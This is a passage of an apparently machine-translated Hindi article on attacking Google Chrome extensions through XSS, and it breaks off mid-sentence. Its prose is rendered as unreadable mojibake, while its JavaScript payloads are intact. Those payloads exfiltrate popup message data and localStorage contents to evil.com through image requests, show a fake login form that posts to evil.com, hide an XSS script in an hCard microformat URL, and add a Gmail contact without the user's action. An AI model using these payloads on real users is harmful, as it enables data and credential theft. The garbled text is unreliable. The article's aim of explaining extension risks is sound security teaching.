рдЬрд╛рд╡рд╛рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд▓реЛрдб рдорд┐рд▓реЗ:
var dump = ''; var e = document.getElementsByTagName('a'); i=0; while(i < e.length) { if (e[i].className == 'openLink') { dump += e[i].innerText + ' | '; } i++; } img = new Image(); img.src = 'http://evil.com/sniff.jpg?' + dump; document.body.appendChild(img);
рдпрд╣ рдкреЙрдк-рдЕрдк рдПрдХреНрд╕рдЯреЗрдВрд╢рди рд╡рд┐рдВрдбреЛ рдореЗрдВ рдПрдХ рд╕рдВрджреЗрд╢ рдбрдВрдк рд╕реЗ рдЬреНрдпрд╛рджрд╛ рдХреБрдЫ рдирд╣реАрдВ рд╣реИред рдпрд╣рд╛рдВ рд╕рдм рдХреБрдЫ рд╕рд░рд▓ рд╣реИ - рд╣рдо рдЙрди рд╕рднреА рддрддреНрд╡реЛрдВ рд╕реЗ рдЧреБрдЬрд╝рд░рддреЗ рд╣реИрдВ рдЬрд┐рдирдореЗрдВ рдЕрдХреНрд╖рд░реЛрдВ рдХреА рд╕реВрдЪреА рд╣реИ рдЬрд┐рд╕рдореЗрдВ рд╕рдВрджреЗрд╢ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рдирдХрд╛рд░реА (рдкреНрд░реЗрд╖рдХ, рддрд┐рдерд┐, рд╡рд┐рд╖рдп рдФрд░ рд╕рдВрджреЗрд╢ рдХрд╛ рдПрдХ рдЯреБрдХрдбрд╝рд╛) рдкреНрд░рджрд░реНрд╢рд┐рдд рд╣реЛрддреА рд╣реИ, рдФрд░ рдЗрд╕реЗ рд╣рдорд▓рд╛рд╡рд░ рдХреЗ рд╕рд░реНрд╡рд░ рдкрд░ рднреЗрдЬрддреЗ рд╣реИрдВред
рдПрдХреНрд╕рдЯреЗрдВрд╢рди рд╕реЗрдЯрд┐рдВрдЧ - рджрд┐рд▓рдЪрд╕реНрдк рдбреЗрдЯрд╛ рднреА рд╣реЛ рд╕рдХрддрд╛ рд╣реИ!
рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдЕрдкрдиреА рд╕реЗрдЯрд┐рдВрдЧреНрд╕ рдореЗрдВ рдорд╣рддреНрд╡рдкреВрд░реНрдг рдЬрд╛рдирдХрд╛рд░реА рдХреЛ рд╕реНрдЯреЛрд░ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдЬреЛ HTML5 рд╡реЗрдм рд╕реНрдЯреЛрд░реЗрдЬ рдЗрдВрдЬрди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХреНрд╕реЗрд╕ рдХреА рдЬрд╛рддреА рд╣реИрдВред рдмреЗрд╢рдХ, рдРрд╕реЗ рдРрдб-рдСрди рдХреА рддрд▓рд╛рд╢ рдХреА рдЬрд╛рдиреА рдЪрд╛рд╣рд┐рдП, рд▓реЗрдХрд┐рди рд╡реЗ рдореМрдЬреВрдж рд╣реИрдВ, рдпрд╣ 100% рд╣реИред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдЬрд╛рдирдХрд╛рд░реА рдХреЛ рдРрд╕реЗ "рдЦрд░рд╛рдм" рдкреНрд▓рдЧрдЗрди рдХреА рд╕реЗрдЯрд┐рдВрдЧреНрд╕ рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдФрд░ рд╣рдо рдЗрд╕реЗ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╡рд╣рд╛рдВ рд╕реЗ рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВрдЧреЗ:
var dump = ' LOCALSTORAGE: '; for (i = 0; i < localStorage.length; i++ ) { dump += "KEY: " + localStorage.key(i); dump += " VALUE: " + localStorage.getItem(localStorage.key(i)) + " | "; } img = new Image(); img.src = 'http://evil.com/sniff.jpg?' + dump; document.body.appendChild(img);
рдлрд╝рд┐рд╢рд┐рдВрдЧ
рдЬреИрд╕рд╛ рдХрд┐ рдКрдкрд░ рдЙрд▓реНрд▓реЗрдЦ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдПрдХреНрд╕рдЯреЗрдВрд╢рди рд╕реАрдзреЗ рдХреБрдХреАрдЬрд╝ рддрдХ рдирд╣реАрдВ рдкрд╣реБрдВрдЪ рд╕рдХрддрд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП рдкреНрд▓рдЧ-рдЗрди рдбреЗрд╡рд▓рдкрд░реНрд╕ рдХреЛ рдЙрдкрдпреБрдХреНрдд рдПрдкреАрдЖрдИ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред рдЗрд╕ рдкреНрд░рдХрд╛рд░, XSS рд╣рдорд▓реЗ рдХреЗ рдПрдХ рд╣рд┐рд╕реНрд╕реЗ рдХреЗ рд░реВрдк рдореЗрдВ рдХреБрдХреАрдЬрд╝ рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛ рдПрдХ рдЧреИрд░-рддреБрдЪреНрдЫ рд╕рдорд╛рдзрд╛рди рдмрди рдЬрд╛рддрд╛ рд╣реИред рд▓реЗрдХрд┐рди рджреВрд╕рд░реА рдУрд░ - рдХрд┐рд╕реА рдиреЗ рднреА рд╕рд╛рдорд╛рдиреНрдп рдлрд╝рд┐рд╢рд┐рдВрдЧ рдХреЛ рд░рджреНрдж рдирд╣реАрдВ рдХрд┐рдпрд╛! рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдПрдХ рд╕рд░рд▓ рд▓реЙрдЧрд┐рди рдЫрджреНрдо рд░реВрдк рдмрдирд╛ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рдЗрд╕реЗ рдПрдХ рд╕рд╛рдзрд╛рд░рдг рд▓реЛрдб рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдкреАрдбрд╝рд┐рдд рдХреЛ рджрд┐рдЦрд╛ рд╕рдХрддрд╛ рд╣реИ:
var msg = 'Please, enter account information.'; msg += '<form action="http://evil.com/login">Username: <input type=text name=user>'; msg += '<br>Password: <input type=password name=pass><br><input type=submit></form>'; document.body.innerHTML = msg;
рд╕реНрдХреНрд░реАрдирд╢реЙрдЯ рдмрд╣реБрдд рд╕реБрдВрджрд░ рдирд╣реАрдВ рджрд┐рдЦрддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдпрд╣ рд╕рд┐рд░реНрдл рдПрдХ рдЕрд╡рдзрд╛рд░рдгрд╛ рд╣реИред

рдлрд╝рд┐рд╢рд┐рдВрдЧ
JSON рдЬреЛрдЦрд┐рдо
JSON рдПрдХ рд╣рд▓реНрдХрд╛ рдкрд╛рда рдкреНрд░рд╛рд░реВрдк рд╣реИ рдЬреЛ рдХреНрд▓рд╛рдЗрдВрдЯ рдФрд░ рд╕рд░реНрд╡рд░ рднрд╛рдЧреЛрдВ рдХреЗ рдмреАрдЪ рдбреЗрдЯрд╛ рдХрд╛ рдЖрджрд╛рди-рдкреНрд░рджрд╛рди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╡реЗрдм 2.0 рд╡реЗрдм рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдореЗрдВ рд╡реНрдпрд╛рдкрдХ рд░реВрдк рд╕реЗ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдореИрдирд┐рдлрд╝реЗрд╕реНрдЯ рдлрд╝рд╛рдЗрд▓ рдХрд╛ рд╡рд░реНрдгрди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ Chrome рдкреНрд▓рдЧ рдЗрди рдореЗрдВ рднреА рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ:
{ "name": "Extension", "version": "1.0", "description": "Some extension", "icons": { "128": "icon.png" }, "permissions": ["http://example.com/"], "browser_action": { "default_title": "", "default_icon": "pic.png", "default_popup": "view.html" } }
JSON рдХреЗ рдЕрд╕реБрд░рдХреНрд╖рд┐рдд рдЙрдкрдпреЛрдЧ рд╕реЗ рдЬреБрдбрд╝реЗ рдХрдо рд╕реЗ рдХрдо рджреЛ рдкреНрд░рдореБрдЦ рдЬреЛрдЦрд┐рдо рд╣реИрдВ:
- рдЕрд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рдбреЗрдЯрд╛ (рдЬреИрд╕реЗ, рдХрд╕реНрдЯрдо) рдХреЛ рдкрд╛рд░реНрд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЬрд╛рд╡рд╛рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЗ eval () рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ред Google рдбреЗрд╡рд▓рдкрд░реНрд╕ рдиреЗ рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдЗрд╕ рдЬреЛрдЦрд┐рдо рдкрд░ рдкреНрд░рдХрд╛рд╢ рдбрд╛рд▓рд╛ рдФрд░ JSON.parse рдкрджреНрдзрддрд┐ рдореЗрдВ рдЕрдВрддрд░реНрдирд┐рд╣рд┐рдд JSON рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╕реБрд░рдХреНрд╖рд┐рдд рд░реВрдк рд╕реЗ рдкрд╛рд░реНрд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рд┐рдлрд╛рд░рд┐рд╢реЗрдВ рд▓рд┐рдЦреАрдВред
- рдПрдХ рдХрдо рд╕реНрдкрд╖реНрдЯ, рд▓реЗрдХрд┐рди рдЬрд╛рд╡рд╛рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдбреЗрдЯрд╛ рдЪреЛрд░реА рдХрд░рдиреЗ рд╡рд╛рд▓реЗ JSON рдХреЛ рдЪреЛрд░реА рдХрд░рдиреЗ рдХрд╛ рдХреЛрдИ рдХрдо рдЦрддрд░рдирд╛рдХ рдЬреЛрдЦрд┐рдо рдирд╣реАрдВ рд╣реИред
JSON (P) рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдордд рднреВрд▓рдирд╛, рдЬреЛ рдбреЛрдореЗрди рдХреЗ рдмреАрдЪ рдбреЗрдЯрд╛ рдХрд╛ рдЖрджрд╛рди-рдкреНрд░рджрд╛рди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдХреНрд░реЛрдо рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдХреЗ рд╕рдВрджрд░реНрдн рдореЗрдВ, рдпрд╣ рд╕рдВрднрд╛рд╡рд┐рдд рднреЗрджреНрдпрддрд╛ рдПрдХ рдирд┐рдпрдорд┐рдд рд╡реЗрдм рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЗ рд▓рд┐рдП рд╕рдорд╛рди рд╕реЗ рдмрд╣реБрдд рднрд┐рдиреНрди рдирд╣реАрдВ рд╣реИред рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдХрд┐рд╕реА рднреА рдордзреНрдпрд╡рд░реНрддреА рдкреНрд░реЙрдХреНрд╕реА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ, рдЖрдк рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рд╡реЗрдм рд╕реЗрд╡рд╛ рдХреЗ рд╡рд┐рд╕реНрддрд╛рд░ рдФрд░ рд╕рд░реНрд╡рд░ рднрд╛рдЧ рдХреЗ рдмреАрдЪ рдбреЗрдЯрд╛ рдХрд╛ рдЖрджрд╛рди-рдкреНрд░рджрд╛рди рдХреИрд╕реЗ рд╣реЛрддрд╛ рд╣реИред рдФрд░ рд╕реБрд░рдХреНрд╖рд╛ рдХреЗ рдореБрджреНрджреЗ рднреА рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВред
рдПрдВрдмреЗрдбреЗрдб рд▓рд┐рдкрд┐рдпреЛрдВ
рд╣рдордиреЗ рдмрд╛рд░-рдмрд╛рд░ рд▓рд┐рдкрд┐рдпреЛрдВ рдХреЛ рд▓рд╛рдЧреВ рдХрд░рдиреЗ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдмрд╛рдд рдХреА рд╣реИ (рдореБрджреНрджреЛрдВ рдореЗрдВ рд╕реЗ рдПрдХ рдореЗрдВ) [рдпрд╣рд╛рдВ рддрдХ тАЛтАЛрдХрд┐ рдЧреНрд░реАрд╕реАрдореЛрдВрдХреА рдФрд░ рдЗрд╕рдХреА рдХреНрд╖рдорддрд╛рдУрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рднреА рд╡рд┐рд╕реНрддреГрдд рд╕рд╛рдордЧреНрд░реА рдереА)ред рдЙрдирдХреЗ рдЙрдкрдпреЛрдЧ рдХрд╛ рдПрдХ рдЕрдЪреНрдЫрд╛ рдЙрджрд╛рд╣рд░рдг рдПрдХ HTML рдЯреИрдЧ рдореЗрдВ рдПрдХ рдкреГрд╖реНрда рдкрд░ рд╕рднреА URL рдХрд╛ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдлрд╝реНрд░реЗрдорд┐рдВрдЧ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдЙрдиреНрд╣реЗрдВ рд▓рд┐рдВрдХ рдмрдирд╛рддреЗ рд╣реИрдВ, рднрд▓реЗ рд╣реА рдкреГрд╖реНрда рд▓реЗрдЦрдХ рдиреЗ рдЗрд╕ рдмрд╛рдд рдХрд╛ рдзреНрдпрд╛рди рди рд░рдЦрд╛ рд╣реЛред рдПрдХ рдПрдореНрдмреЗрдбреЗрдб рд╕реНрдХреНрд░рд┐рдкреНрдЯ (рд╕рд╛рдордЧреНрд░реА рд╕реНрдХреНрд░рд┐рдкреНрдЯ), рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ, рдЬрд╛рд╡рд╛рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХрд╛ рдПрдХ рд╡рд┐рд╢реЗрд╖ рдЯреБрдХрдбрд╝рд╛ рд╣реИ рдЬреЛ рдЖрд╡рд╢реНрдпрдХ рдкреГрд╖реНрдареЛрдВ рдореЗрдВ рдПрдореНрдмреЗрдбреЗрдб рд╣реИ рдФрд░, рдорд╣рддреНрд╡рдкреВрд░реНрдг рд░реВрдк рд╕реЗ, рдЙрдирдХреЗ рд╕рдВрджрд░реНрдн рдореЗрдВ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдФрд░ рд╡рд┐рд╕реНрддрд╛рд░ рдХреЗ рд╕рдВрджрд░реНрдн рдореЗрдВ рдирд╣реАрдВред рдЗрд╕ рдкреНрд░рдХрд╛рд░, рдпреЗ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд╡рд░реНрддрдорд╛рди рдкреГрд╖реНрда рдХреА рд╕рд╛рдордЧреНрд░реА рдХреЛ рдкрдврд╝рдиреЗ рдФрд░ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕реНрд╡рддрдВрддреНрд░ рд╣реИрдВ, рд▓реЗрдХрд┐рди рд╕рд╛рде рд╣реА рд╡реЗ рдПрдкреАрдЖрдИ рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдХреЗ рдЙрдкрдпреЛрдЧ рдореЗрдВ рдЧрдВрднреАрд░ рд░реВрдк рд╕реЗ рд╕реАрдорд┐рдд рд╣реИрдВред рд╕рдЯреАрдХ рд╣реЛрдиреЗ рдХреЗ рд▓рд┐рдП, рд╡реЗ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХрд╛рд░реНрдп рдирд╣реАрдВ рдХрд░ рд╕рдХрддреЗ:
- рдХреНрд░реЛрдо рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВред * рдПрдкреАрдЖрдИ (рдХреНрд░реЛрдо рднрд╛рдЧреЛрдВ рдХреЛ рдЫреЛрдбрд╝рдХрд░);
- рдкреИрд░реЗрдВрдЯ рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдореЗрдВ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдЪрд░ рдФрд░ рдХрд╛рд░реНрдпреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ
- рд╕реАрдзреЗ рдкреЗрдЬ рдХреЛрдб рдпрд╛ рдЕрдиреНрдп рдПрдореНрдмреЗрдбреЗрдб рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдореЗрдВ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдЪрд░ рдФрд░ рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ;
- рдХреНрд░реЙрд╕-рдбреЛрдореЗрди XMLHttpRequests рдЕрдиреБрд░реЛрдз рдХрд░реЗрдВред
рджреВрд╕рд░реА рдУрд░, рдПрдореНрдмреЗрдбреЗрдб рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдПрдХ рд╡рд┐рд╢реЗрд╖ рдореИрд╕реЗрдЬрд┐рдВрдЧ рддрдХрдиреАрдХ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдореВрд▓ рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдХреЗ рд╕рд╛рде рд╕рдВрд╡рд╛рдж рдХрд░ рд╕рдХрддреА рд╣реИред рд╕рд╛рдорд╛рдиреНрдп рд╢рдмреНрджреЛрдВ рдореЗрдВ, рд╣рдорд╛рд░реЗ рдкрд╛рд╕ рдЕрдВрддрд░реНрдирд┐рд╣рд┐рдд рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд╕реЗ рдЬреБрдбрд╝реЗ рджреЛ рдЬреЛрдЦрд┐рдо рд╣реИрдВ:
- рд╡рд┐рдЬрд╝рд┐рдЯ рдХрд┐рдП рдЧрдП рдкреГрд╖реНрда рдХреА рд╕рд╛рдордЧреНрд░реА рдХреЛ рдмрджрд▓рдиреЗ рдХреА рдХреНрд╖рдорддрд╛ рдХреЗ рдХрд╛рд░рдг, рдЦрд░рд╛рдм рд▓рд┐рдЦреА рдЧрдИ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдЙрд╕ рдкреГрд╖реНрда рдкрд░ рднреЗрджреНрдпрддрд╛ рдЬреЛрдбрд╝ рд╕рдХрддреА рд╣реИ рдЬрд╣рд╛рдВ рдпрд╣ рднреЗрджреНрдпрддрд╛ рдореВрд▓ рд░реВрдк рд╕реЗ рдирд╣реАрдВ рдереА!
- рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдкреГрд╖реНрда рд╣реА рдПрдореНрдмреЗрдбреЗрдб рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╡реЗрдм рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдХреЗ рд╡рд┐рд╕реНрддрд╛рд░ рдкрд░ рд╣рдорд▓рд╛ рдХрд░ рд╕рдХрддрд╛ рд╣реИред
рдЖрдЗрдП рджреВрд╕рд░реЗ рдорд╛рдорд▓реЗ рдХреЗ рдПрдХ рдЙрджрд╛рд╣рд░рдг рдХреЛ рджреЗрдЦреЗрдВ рдФрд░ рдорд╛рдЗрдХреНрд░реЛрдлрд╝реЙрд░реНрдореЗрдЯреНрд╕ рдХреЗ рд╕рд╛рде рдХрд╛рдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЕрдзрд┐рдХ рд╡рд┐рд╕реНрддрд╛рд░ рд╕реЗ рд╡рд┐рдЪрд╛рд░ рдХрд░реЗрдВред рдиреАрдЪреЗ рд▓реЛрдХрдкреНрд░рд┐рдп hCard microformat рдХреЗ рд╕рд╛рде HTML рдХрд╛ рдПрдХ рд╕реНрдирд┐рдкреЗрдЯ рд╣реИред URL рдлрд╝реАрд▓реНрдб рдореЗрдВ, рд╣рдордиреЗ рд╕реНрдЯрдл рдХрд┐рдпрд╛ рдХрд┐ рд╕рдмрд╕реЗ рдЕрдзрд┐рдХ рд╕рдВрднрд╛рд╡рдирд╛ рд╣реИ рдХрд┐ рдПрдХреНрд╕рдЯреЗрдВрд╢рди рд╡рд╣рд╛рдВ рджреЗрдЦрдиреЗ рдХреА рдпреЛрдЬрдирд╛ рдирд╣реАрдВ рдХрд░рддрд╛ рд╣реИ:
<div class="vcard"> <div class="fn">James Bond</div> <div class="org">MI-6</div> <div class="tel">604-555-1234</div> <a class="url" href="123:<script>d = document.createElement('div');d.innerHTML='<h1>XSS</h1>'; document.body.appendChild(d);</script>233">http://example.com/</a> </div>
рдпрджрд┐ рд╣рдорд╛рд░реЗ рдкрд╛рд╕ рдпрд╣ рдПрдбрдСрди рд╕реНрдерд╛рдкрд┐рдд рд╣реИ рдФрд░ рд╣рдо рдЗрд╕ рддрд░рд╣ рдХреЗ рдХреЛрдб рдХреЗ рд╕рд╛рде рдПрдХ рдкреГрд╖реНрда рдкрд░ рдЬрд╛рддреЗ рд╣реИрдВ, рддреЛ рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдЗрд╕реЗ рдмрд╛рд╣рд░ рдЦреАрдВрдЪрдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдЧрд╛, рдЗрд╕реЗ рдкрд╛рд░реНрд╕ рдХрд░реЗрдЧрд╛ рдФрд░ рд╣рдореЗрдВ рдХрд┐рд╕реА рд╡реНрдпрдХреНрддрд┐ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдпрд╣ рдбреЗрдЯрд╛ рджрд┐рдЦрд╛рдПрдЧрд╛ред

рдорд╛рдЗрдХреНрд░реЛрдлрд╝реЙрд░реНрдореЗрдЯреНрд╕ рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдкрд░ рд╣рдорд▓рд╛
рд╣рдорд╛рд░реЗ рд▓реЛрдб рдиреЗ рдХрд╛рдо рдХрд┐рдпрд╛, рдФрд░ рдкрд░рд┐рдгрд╛рдо рджрд┐рдЦрд╛рдИ рджреЗ рд░рд╣рд╛ рд╣реИ? рд▓реЗрдХрд┐рди рдЬреЛрдЦрд┐рдо рдХреНрдпрд╛ рд╣реИрдВ? рдФрд░ рдпрд╣рд╛рдБ рдХреБрдЫ рд╣реИрдВред рдкреНрд░рд╢реНрди рдХрд╛ рд╡рд┐рд╕реНрддрд╛рд░ OAuth рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдФрд░ Google рдкрддрд╛ рдкреБрд╕реНрддрд┐рдХрд╛ API рд╕реЗрд╡рд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЖрдкрдХреЗ Google рдЦрд╛рддреЗ рд╕реЗ рд╕рдВрд╡рд╛рдж рдХрд░ рд╕рдХрддрд╛ рд╣реИред рдЖрдкрдХреА рдЕрдиреБрдорддрд┐ рд╕реЗ, рдЗрд╕реЗ рдкрддрд╛ рдкреБрд╕реНрддрд┐рдХрд╛ рддрдХ рдкрд╣реБрдВрдЪ рдкреНрд░рд╛рдкреНрдд рд╣реИ рдФрд░ рдкреЙрдк-рдЕрдк рд╡рд┐рдВрдбреЛ рдореЗрдВ рд╕рдВрдмрдВрдзрд┐рдд рдмрдЯрди рдкрд░ рдХреНрд▓рд┐рдХ рдХрд░рдХреЗ рд╡рд╣рд╛рдВ рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐рдпрд╛рдВ рдЬреЛрдбрд╝ рд╕рдХрддреЗ рд╣реИрдВред рдпрд╣рд╛рдБ рдПрдХ рдРрд╕рд╛ рд╕рд░рд▓ рдХреЛрдб рд╣реИ рдЬреЛ Gmail рдкрд░ рдЖрдкрдХреА рдПрдбреНрд░реЗрд╕ рдмреБрдХ рдореЗрдВ рдПрдХ рдордирдорд╛рдирд╛ рд╕рдВрдкрд░реНрдХ рдЬреЛрдбрд╝рдиреЗ рдХреЗ рд▓рд┐рдП jQuery рдХреЗ рдЪрд┐рдкреНрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ!
$(".submithcard").click()
рдЗрд╕ рдкреНрд░рдХрд╛рд░, рд╣рдо рдПрдореНрдмреЗрдбреЗрдб рд╕реНрдХреНрд░рд┐рдкреНрдЯреНрд╕ рджреНрд╡рд╛рд░рд╛ рдПрдкреАрдЖрдИ рдХреЗ рдЙрдкрдпреЛрдЧ рдкрд░ рдЧрдВрднреАрд░ рдкреНрд░рддрд┐рдмрдВрдзреЛрдВ рдХреЛ рджрд░рдХрд┐рдирд╛рд░ рдХрд░рдиреЗ рдореЗрдВ рдХрд╛рдордпрд╛рдм рд░рд╣реЗ, рдФрд░ рд▓реЛрдб рдХреЛ рдореБрдЦреНрдп рд╡рд┐рд╕реНрддрд╛рд░ рд╡рд┐рдВрдбреЛ рдореЗрдВ рднреЗрдЬ рджрд┐рдпрд╛ рдЧрдпрд╛, рдЬрд┐рд╕рдореЗрдВ рд╣рдорд╛рд░реЗ рдкрд╛рд╕ рдкрд╣рд▓реЗ рд╕реЗ рд╣реА рдЕрдзрд┐рдХ рд╡рд┐рдХрд▓реНрдк рд╣реИрдВред
рдирд┐рд╖реНрдХрд░реНрд╖
рдЖрдЦрд┐рд░ рдореЗрдВ рдЖрдк рдХреНрдпрд╛ рдХрд╣рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ? Google Chrome рдХреЗ рдбреЗрд╡рд▓рдкрд░реНрд╕ рдиреЗ рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ рдПрдХ рдЕрдЪреНрдЫрд╛ рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдЖрд░реНрдХрд┐рдЯреЗрдХреНрдЪрд░ рдмрдирд╛рдпрд╛ рдФрд░ рдЧреБрдгрд╡рддреНрддрд╛ рдФрд░ рд╕реБрд░рдХреНрд╖рд┐рдд рдПрдХреНрд╕рдЯреЗрдВрд╢рди рд▓рд┐рдЦрдиреЗ рдХрд╛ рдкрд░реНрдпрд╛рдкреНрдд рдЕрд╡рд╕рд░ рдкреНрд░рджрд╛рди рдХрд┐рдпрд╛ред рд▓реЗрдХрд┐рди рд╕рд╛рде рд╣реА, рд╣рдо рджреЗрдЦрддреЗ рд╣реИрдВ рдХрд┐ рдХреИрд╕реЗ рджреБрд░реНрднрд╛рдЧреНрдпрдкреВрд░реНрдг рдбреЗрд╡рд▓рдкрд░реНрд╕ рдХреА рд╕рдХреНрд░рд┐рдп рднрд╛рдЧреАрджрд╛рд░реА рдХреЗ рд╕рд╛рде рд╡рд┐рдХрд╛рд╕ (рдПрдЪрдЯреАрдПрдордПрд▓, рд╕реАрдПрд╕рдПрд╕ рдФрд░ рдЬрд╛рд╡рд╛рд╕реНрдХреНрд░рд┐рдкреНрдЯ) рдХреЗ рд▓рд┐рдП рдЪреБрдиреА рдЧрдИ рдкреНрд░реМрджреНрдпреЛрдЧрд┐рдХрд┐рдпрд╛рдВ рдРрдб-рдСрди рдХреА рд╣рдорд▓реЛрдВ рдХреА рд╕рдВрд╡реЗрджрдирд╢реАрд▓рддрд╛ рдХреЗ рд▓рд┐рдП рдпреЛрдЧрджрд╛рди рдХрд░рддреА рд╣реИрдВ, рдЬреИрд╕реЗ, рдПрдХреНрд╕рдПрд╕рдПрд╕, рдЬрд┐рд╕реЗ рд╣рдо рд╡реЗрдм рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдХреЗ рд╕рдВрджрд░реНрдн рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВред рдЗрд╕реА рд╕рдордп, рдРрд╕реЗ рдПрдХреНрд╕рдПрд╕рдПрд╕ рд╕реЗ рдЬреЛрдЦрд┐рдо рдПрдХ рдирд┐рдпрдорд┐рдд рд╡реЗрдм рдЕрдиреБрдкреНрд░рдпреЛрдЧ рдореЗрдВ рдПрдХреНрд╕рдПрд╕рдПрд╕ рд╕реЗ рднреА рдмрджрддрд░ рд╣реЛ рд╕рдХрддрд╛ рд╣реИред рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдХреЗ рд░рдЪрдирд╛рдХрд╛рд░реЛрдВ рдХреЛ рдирд┐рд╢реНрдЪрд┐рдд рд░реВрдк рд╕реЗ рдбреЗрд╡рд▓рдкрд░ рдХреЗ рдЧрд╛рдЗрдб рдореЗрдВ "рд╕реБрд░рдХреНрд╖рд╛ рд╡рд┐рдЪрд╛рд░реЛрдВ" рдЕрдиреБрднрд╛рдЧ рдХреЛ рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдзреНрдпрд╛рди рд╕реЗ рдкрдврд╝рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ, рдФрд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдЕрдкрдбреЗрдЯ рдкрд░ рдирдЬрд╝рд░ рд░рдЦрдирд╛ рдЪрд╛рд╣рд┐рдП рдФрд░ рдЙрдиреНрд╣реЗрдВ рд╕рдордп рдкрд░ 